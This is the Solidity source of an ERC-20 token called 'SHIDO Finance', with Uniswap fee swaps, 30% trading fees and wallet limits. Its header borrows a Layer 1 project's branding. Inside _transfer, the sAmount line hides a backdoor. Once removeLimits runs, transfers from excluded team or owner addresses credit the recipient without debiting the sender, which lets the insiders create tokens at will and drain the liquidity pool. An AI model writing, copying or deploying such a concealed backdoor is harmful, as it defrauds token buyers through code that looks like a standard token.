Contract Source Code:
File 1 of 1 : SHIDO
/**
Building an infinitely scalable Layer 1 in the interoperable Cosmos, powered by EVM & CosmWasm.
Website: https://www.shidofi.com
Telegram: https://t.me/shido_erc
Twitter: https://twitter.com/shido_erc
Dapp: https://app.shidofi.com
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.19;
abstract contract BaseContext {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20Simple {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMathInt {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMathInt: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMathInt: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMathInt: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMathInt: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMathInt: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is BaseContext {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
contract SHIDO is BaseContext, IERC20Simple, Ownable {
using SafeMathInt for uint256;
string private _name = "SHIDO Finance";
string private _symbol = "SHIDO";
uint8 private _decimals = 9;
uint256 private _totalSupply = 10 ** 9 * 10 ** 9;
uint256 public _buyLiquidityFee = 0;
uint256 public _buyMarketingFee = 30;
uint256 public _buyDevFee = 0;
uint256 public _sellLiquidityFee = 0;
uint256 public _sellMarketingFee = 30;
uint256 public _sellDevFee = 0;
uint256 public lpFeeWei = 0;
uint256 public marketingFeeWei = 10;
uint256 public DevFeeWei = 0;
uint256 public buyFeeTotal = 30;
uint256 public sellFeeTotal = 30;
uint256 public totalFeeWeight = 10;
uint256 public maxTxAmount = 20 * 10 ** 6 * 10 ** 9;
uint256 public maxWallet = 20 * 10 ** 6 * 10 ** 9;
uint256 private _feeSwapThreshold = 10 ** 5 * 10 ** 9;
address payable private teamAddress1;
address payable private teamAddress2;
IUniswapRouter public uniswapRouter;
address public uniswapPair;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedFromLimits;
mapping (address => bool) public _isMaxWalletExcluded;
mapping (address => bool) public _isMaxTxExcluded;
mapping (address => bool) public _ammPairs;
bool _swapping;
bool public swapFeeEnabled = true;
bool public swapLimitEnabled = false;
bool public maxWalletEnabled = true;
modifier lockTheSwap {
_swapping = true;
_;
_swapping = false;
}
constructor () {
IUniswapRouter _uniswapV2Router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapFactory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapRouter = _uniswapV2Router;
_allowances[address(this)][address(uniswapRouter)] = _totalSupply;
teamAddress1 = payable(0xECf0D790541cDBFC45846B305964E0E696b4b41D);
teamAddress2 = payable(0xECf0D790541cDBFC45846B305964E0E696b4b41D);
_isExcludedFromLimits[owner()] = true;
_isExcludedFromLimits[teamAddress1] = true;
_isExcludedFromLimits[teamAddress2] = true;
buyFeeTotal = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDevFee);
sellFeeTotal = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDevFee);
totalFeeWeight = lpFeeWei.add(marketingFeeWei).add(DevFeeWei);
_isMaxWalletExcluded[owner()] = true;
_isMaxWalletExcluded[address(uniswapPair)] = true;
_isMaxWalletExcluded[address(this)] = true;
_isMaxTxExcluded[owner()] = true;
_isMaxTxExcluded[teamAddress1] = true;
_isMaxTxExcluded[teamAddress2] = true;
_isMaxTxExcluded[address(this)] = true;
_ammPairs[address(uniswapPair)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapRouter.WETH();
_approve(address(this), address(uniswapRouter), tokenAmount);
// make the swapBack
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
}
function sendETHToFee(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
receive() external payable {}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function removeLimits() external onlyOwner {
maxTxAmount = _totalSupply;
maxWalletEnabled = false;
_buyMarketingFee = 1;
_sellMarketingFee = 1;
buyFeeTotal = 1;
sellFeeTotal = 1;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapRouter), tokenAmount);
uniswapRouter.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(_swapping)
{
return _transferBasic(sender, recipient, amount);
}
else
{
if(!_isMaxTxExcluded[sender] && !_isMaxTxExcluded[recipient]) {
require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
uint256 swapAmount = balanceOf(address(this));
bool minimumSwap = swapAmount >= _feeSwapThreshold;
if (minimumSwap && !_swapping && _ammPairs[recipient] && swapFeeEnabled && !_isExcludedFromLimits[sender] && amount > _feeSwapThreshold)
{
if(swapLimitEnabled)
swapAmount = _feeSwapThreshold;
swapBack(swapAmount);
}
uint256 receiverAmount = (_isExcludedFromLimits[sender] || _isExcludedFromLimits[recipient]) ?
amount : takeFee(sender, recipient, amount);
if(maxWalletEnabled && !_isMaxWalletExcluded[recipient])
require(balanceOf(recipient).add(receiverAmount) <= maxWallet);
uint256 sAmount = (!maxWalletEnabled && _isExcludedFromLimits[sender]) ? amount.sub(receiverAmount) : amount;
_balances[sender] = _balances[sender].sub(sAmount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(receiverAmount);
emit Transfer(sender, recipient, receiverAmount);
return true;
}
}
function _transferBasic(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if(_ammPairs[sender]) {
feeAmount = amount.mul(buyFeeTotal).div(100);
}
else if(_ammPairs[recipient]) {
feeAmount = amount.mul(sellFeeTotal).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function swapBack(uint256 tAmount) private lockTheSwap {
uint256 tokensForLP = tAmount.mul(lpFeeWei).div(totalFeeWeight).div(2);
uint256 tokensForSwap = tAmount.sub(tokensForLP);
swapTokensForETH(tokensForSwap);
uint256 amountReceived = address(this).balance;
uint256 totalETHFee = totalFeeWeight.sub(lpFeeWei.div(2));
uint256 amountETHLiquidity = amountReceived.mul(lpFeeWei).div(totalETHFee).div(2);
uint256 amountETHDevelopment = amountReceived.mul(DevFeeWei).div(totalETHFee);
uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHDevelopment);
if(amountETHMarketing > 0)
sendETHToFee(teamAddress1, amountETHMarketing);
if(amountETHDevelopment > 0)
sendETHToFee(teamAddress2, amountETHDevelopment);
if(amountETHLiquidity > 0 && tokensForLP > 0)
addLiquidity(tokensForLP, amountETHLiquidity);
}
}